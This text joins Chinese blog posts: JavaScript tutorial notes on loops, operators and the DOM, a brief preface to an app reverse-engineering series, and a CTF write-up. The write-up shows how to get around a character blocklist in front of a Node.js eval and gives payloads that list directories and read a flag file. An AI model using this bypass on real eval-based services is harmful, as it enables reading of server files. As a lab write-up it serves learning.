集合中元素是唯一的，可以用来去重，内部元素无序，无法通过索引访问 属性 size 键值对数量 方法 add 添加元素 delete 删除元素 clear 清空集合 has 是否有指定元素 entries 返回集合的可迭代对象 keys 返回集合的可迭代对象 forEach 传入lambda表达式，将集合中的每一个元素代入执行 函数 function 获取变量类型 typeof(xx) 数据类型转换 Boolean(any) //任意类型转布尔 String() //所有类型都可以用这个转成字符串 Number() //任意类型转数值类型，转换失败返回NaN parseFloat(any) //转换失败返回NaN parseInt(any) //转换失败返回NaN object.toString() //基础类型没有这个方法 变量比较的坑 == 与 === ( = 是赋值操作符) == 比较操作符，自动隐式类型转换 === 绝对等于，不允许自动类型转换 NaN 跟任意值比较结果都是 false 推荐优先使用 === 判断是否相等 一些被认为是 false 的值 false underfined null 0 NaN "" 执行流 if 条件判断 if( /* 表达式 */ ) { //表达式运算结果转换为布尔为 true 时执行该块 } else if( /* 表达式2 */ ) //也可以使用 else if 连续判断多个表达式 { //可以存在任意和 else if 子句，也可以省略 //表达式2运算结果转换为布尔为 true 时执行该块 } else { //else 子句可以省略 //表达式1和表达式2的运算结果转换为布尔都为 false 时执行该块 } //示例 let a = 500; if(a > 514){ console.log(1); } else if(a < 114){ console.log(2); } else{ console.log("啊啊啊"); } //"啊啊啊" switch 分支 switch ( /* 表达式 */ ) { case /* 值1 */: //表达式计算结果等于值1时执行从case到第一个break之间的语句 [break;]//不写break的话会case语句 case /* 值2 */: //表达式计算结果等于值2时执行从case到第一个break之间的语句 [break;] //可以存在任意个case default: //只能写在最后, 可以省略 //当表达式的值不满足任意一个case, 或者没有遇到break跳出时执行这里的语句 [break;]//可以写break,但是没有必要 } //示例 for(let x=0; x<5; x++) { switch (x){ case 1: console.log('1'); case 2: case 4: console.log('2 or 4'); break; default: console.log('default'); } } /* default 1 2 or 4 2 or 4 default 2 or 4 */ for 循环 for 最通用的计数循环 for(/* 初值设定，只执行一次 */ ; /* 表达式，满足条件则执行循环 */ ; /* 每次循环后执行 */){ //循环执行这里的语句 } //例子 for (let i = 0; i < 5; i++) { console.log(i); } //0 1 2 3 4 const list = [1,2,3,4,5]; for (let i=0; i < list.length; i++){ console.log(list[i]); } //1 2 3 4 5 for...in 自动枚举对象的 可枚举属性 ，适用于枚举 字典 ，一般不适用于 数组 和 集合 不能在循环体内修改迭代对象 //错误示范 const list = [9,8,7,6,5]; for(let x in list){ console.log(x); } //0 1 2 3 4 //获取的实际上是元素的下标 const set = new Set([1,2,3,4,5]); for(let x in set){ console.log(x); } //无输出 //为什么会得到这样的结果？ //对字典使用则会得到预期的结果 const dict = {'a':1,'b':2,'c':3}; for(let x in dict){ console.log(x); } //a b c for...in 循环还可以用来迭代 对象 的 属性 for...of 循环 自动枚举可迭代对象的每一个元素 ，适用于任何可迭代对象，字典 不可直接迭代 不能在循环体内修改迭代对象 const list = [9,8,7,6,5]; for(let x of list){ console.log(x); } //9 8 7 6 5 const set = new Set([1,2,3,4,5]); for(let x of set){ console.log(x); } //1 2 3 4 5 //错误示例 const dict = {'a':1,'b':2,'c':3}; for(let x of dict){ console.log(x); } //TypeError: dict is not iterable forEach 循环 严格意义上来说是属于部分可迭代对象的原型方法 ( Prototype )，而不是通用操作符 需要传入一个函数，执行过程就是把可迭代对象的每个元素代入函数中执行，因为每次循环都相当于调用函数，因此效率远不如上面的几种 for 循环 const list = ['a', 'b', 'c']; list.forEach(x => console.log(x)); //a b c //相当于 list.forEach(function(x) { console.log(x); }); 执行速度 for > for...in / for...of >>> forEach while 循环 while 类似 for 循环，满足循环条件就会一直执行循环体 while(/* 循环条件为 true 则进入循环 */) { /* 循环执行体 */ } //例子 let x = 3; while(x--){ console.log(x); } //2 1 0 //要注意避免出现死循环 do...while 在执行循环体后才会检查循环条件，也就是说至少会执行一次循环体 do { /* 循环执行体 */ } while(/* 循环条件为 true 则进入循环 */) //例子 let x = 3; do { console.log(x); } while(x--); //3 2 1 0 循环操作 continue 跳过执行当前循环体，进行下一轮循环 //跳过执行部分循环 let x = 0; while(x++ < 10) { if(x % 3 == 0){ continue; } console.log(x); } //1 2 4 5 7 8 10 //使用 label 自由控制外部循环 var i = 0; var j = 10; checkiandj: while (i < 4) { console.log('i',i); i += 1; checkj: while (j > 4) { console.log('j',j); j -= 1; if ((j % 2) == 0) { continue checkj; } console.log(j + ' 是奇数。'); } console.log('i = ' + i); console.log('j = ' + j); } break 结束当前循环体 //结束循环 const a = [1,2,3,4,5]; for (i = 0; i < a.length; i++) { if (a[i] == 3) { break; } console.log(a[i]); } //1 2 //也可以指定 label 终止外部循环 let x = 0; let z = 0 labelCancelLoops: while (true) { console.log("外部循环: " + x); x += 1; z = 1; while (true) { console.log("内部循环: " + z); z += 1; if (z === 3 && x === 3) { break labelCancelLoops; } else if (z === 3) { break; } } } try-catch 错误捕获 在 try 块中的代码如果执行遇到错误，会被 catch 块捕获，而不会影响外部代码继续执行 try { //使用 throw 可以手动引发异常 throw '114514异常'; } catch (error) { console.error(error); } //控制台输出了异常消息 //还可以使用 finally 块，不论是否遇到错误，跳出 try...catch 块前都会执行 finally 块的代码 try { //使用 throw 可以手动引发异常 throw '114514异常'; } finally { console.log('finally') } //finally 和 catch 块都是可选的，也可以一起用，但是不能单独使用 try 块 try { //使用 throw 可以手动引发异常 throw '114514异常'; } catch (error) { console.error(error); } finally { console.log('finally') } 运算操作符 算数运算 摆烂了，看MDN吧： https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Expressions_and_Operators + 加 ++ 自增 - 减 -- 自减 * 乘 / 除 ** 指数 % 取余数 位运算 & 按位与 | 按位或 ^ 按位异或 逻辑运算 && 逻辑与 || 逻辑或 简化赋值运算 x += y => x = x + y x -= y => x = x - y x *= y => x = x * y x /= y => x = x / y x %= y => x = x % y x **= y => x = x ** y x <<= y => x = x << y x >>= y => x = x >> y x &= y => x = x & y x |= y => x = x | y x ^= y => x = x ^ y 解构赋值 //可迭代元素的解构，相当于把不同下标的元素赋值给定义的变量 const list = ['1','2','3']; let [t1, t2, t3, t4] = list; console.log(t1,t2,t3,t4); //1 2 3 undefined //如果元素不够分配，未分配到的元素不会被赋值 //使用 ... 可以让某个变量接受剩余元素 const list = ['1','2','3','4','5']; let [t1, t2, ...t3] = list; console.log(t1,t2,t3); //1 2 (3) ['3', '4', '5'] //注意，t3变量是一个数组 //也可以对字典使用解构，但是需要使用 {} 而不是 [] const dict = {aa:1,bb:2,cc:3}; let {bb,aa,cc,dd} = dict; console.log(aa,bb,cc,dd); //1 2 3 undefined //字典的解构赋值是通过 key 而不是变量索引来获取的，因此变量的顺序无关紧要 //如果变量和key名字不一致也可以指定别名 const dict = {aa:1,bb:2,cc:3}; let {aa:s1,bb:s2,cc:s3} = dict; console.log(s1,s2,s3); //1 2 3 三目运算 表达式 ? 值1 : 值2 当表达式成立，三目运算的结果为值1，当表达式不成立，三目运算的结果为值2 let x = false ? 1 : 2; console.log(x); //2 let x = true ? 1 : 2; console.log(x); //1 浏览器对象 Window window 是浏览器对象，访问属性或者方法的时候可以省略 window 常用属性 document HTML文档对象，页面上的元素都可以通过这个对象获取 console 控制台对象，用于打印日志 location 地址对象，读取网页链接或者控制跳转 localStorage 访问本地储存数据 screen 获取显示器分辨率 scrollX , scrollY 水平/垂直滚动条位置 常用方法 alert 弹出提示框，会阻塞 JS 运行 confirm 弹出确认提示框，会阻塞 JS 运行 blur 将焦点移出当前窗口 close 关闭窗口 eval 执行字符串形式的 JS 语句 find 查找指定字符串，并聚焦到字符串的位置 focus 激活当前窗口 open 打开新窗口 (标签页) openDialog 打开新的对话框窗口 print 显示打印对话框 prompt 弹出输入框，会阻塞 JS 运行 scroll 控制滚动条滚动到指定位置 stop 停止加载 文档对象 Document Document 接口是 HTML 页面的另一种形式，或者叫 DOM 树，通过 window.document 可以获取当前窗口的 DOM 树，通过 Document 对象可以很方便的添加或者修改 DOM 元素 Document 对象也继承了 Node 对象的属性和方法 常用属性 body 返回 节点 head 返回 节点 cookie 读取或者设置 cookie title 获取或者设置网页标题 URL 返回地址栏链接 常用方法 createElement 指定标签名，创建一个新的元素 getElementsByClassName 指定类名查找元素 getElementById 指定ID查找元素 querySelector 通过CSS选择器查找第一个匹配元素 querySelectorAll 通过CSS选择器查找所有匹配元素 evaluate 执行XPath表达式 hasFocus 返回当前文档是否拥有焦点 文档元素对象 Element Element 对象相当于HTML中的Tag，比如 Element 对象也继承了 Node 对象的属性和方法 常用属性 attributes 标签属性集合 classList 标签 class 属性列表 (按空格分隔) className 标签 class 属性的值 id 标签的 id 属性 innerHTML DOM 元素内部的 HTML 文本 innerText DOM 元素内部的文本 tagName 标签自身的名称，例如 div a span 等 常用方法 addEventListener 添加事件监听器，需要指定事件名和回调函数，触发特定事件后自动调用回调函数 dispatchEvent 手动触发指定的事件 getAttribute 获取标签的指定属性 文档节点对象 Node 网页中的所有 Node 一起构成了 DOM 树，对节点的修改会反应到网页中 常用属性 childNodes 返回该节点的所有子节点 firstChild 返回第一个子节点，没有返回 null lastChild 返回最后一个子节点，没有返回 null nodeName 返回节点对应的名称，比如 #document nodeType 返回节点类型对应的值，具体定义参考 MDN parentNode 返回父节点 parentElement 返回父元素 textContent 返回节点内所有子节点的文本内容 常用方法 appendChild 将指定节点作为子节点添加到当前节点的末尾 cloneNode 克隆指定节点 hasChildNodes 判断当前节点是否有子节点 insertBefore 在当前节点新增子节点，插入在指定节点之前 Document Element 与 Node Document 即 DOM 树，包含了网页中的所有 DOM 对象，既包含 Element 也包含 Node Element 标签元素，类似与 xxx，它继承 Node 的属性和方法，同时具有自己特有的属性和方法 Node 节点，是 DOM 树的最基础单位，比如 xxx 这一个 Element，就包含一个 A Node （即 ）和一个 Text Node（即 xxx） 一个 Element 可以包含任意个 Element 元素 和 Node 元素
前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 上文 [post cid="714"/] [post cid="1347"/] [post cid="1365"/] [post cid="1383"/] 前情提要 距离上一篇文章已经过去一年多了，前两天心血来潮找了最新版本研究了一下，熬了两天夜也没整明白，不打算继续研究下去了，做个笔记记录下分析过程。 @> 本文适用于小黑盒 1.3.191，小黑盒历史版本参考我的仓库 @> 全文评论后可见
前言 刚打完的比赛，还热乎着，难得拿了个一血，可惜之后就寄了…… 正文 题目附件为： ip: 152.136.122.197 port: 53502 protocol: http 用Chrome浏览器访问，提示错误的响应体 用FireFox可以看到返回内容为main.js的内容 main.js内容为： const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); const rl = readline.createInterface({ input: process.stdin, output: process.stdout }); console.log(fs.readFileSync(path.join(__dirname, "./main.js")).toString()); rl.question(">>> ", (payload) => { if (ban(payload)) { console.log("Ban!"); } else { console.log(eval(payload)); } rl.close(); }); rl.on('close', function () { process.exit(0); }); 主要逻辑是判断传入payload里有没有这些特殊符号 ` " ' [ ] ; , . / : "空格" \t \n 研究了一小时，发现(){}+是可以用的 绕过思路如下： 用解包赋值绕过函数调用中的. // 相当于 console.log('114514') var {log} = console log('114514') 用String.fromCharCode()绕过文本中的特殊字符 //得到 '.' String.fromCharCode(46) 使用{}代码段分隔多行代码，避免使用;和任何空白符号 本地测试代码如下： const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); let payload = ` ({ //payload here })() `.replace(/\s/g,''); if (ban(payload)) { console.log("Ban!"); } else { console.log(payload); console.log(eval(payload)); } process.exit(0); i PS: payload外面的 (()=>{ })() 是可以去掉的 构造payload： //等效于 console.log(fs.readdirSync("..")) ( ()=>{ { var{readdirSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readdirSync(fromCharCode(46)+fromCharCode(46))) } } )() 用Telnet客户端连接可以执行payload 发现flag放在../flag中，读取之： //等效于 console.log(fs.readFileSync("../flag")) ( ()=>{ { var{readFileSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readFileSync(fromCharCode(46)+fromCharCode(46)+fromCharCode(47)+fromCharCode(102)+fromCharCode(108)+fromCharCode(97)+fromCharCode(103))) } } )() 显示的是十六进制Hex，转一下就是Flag了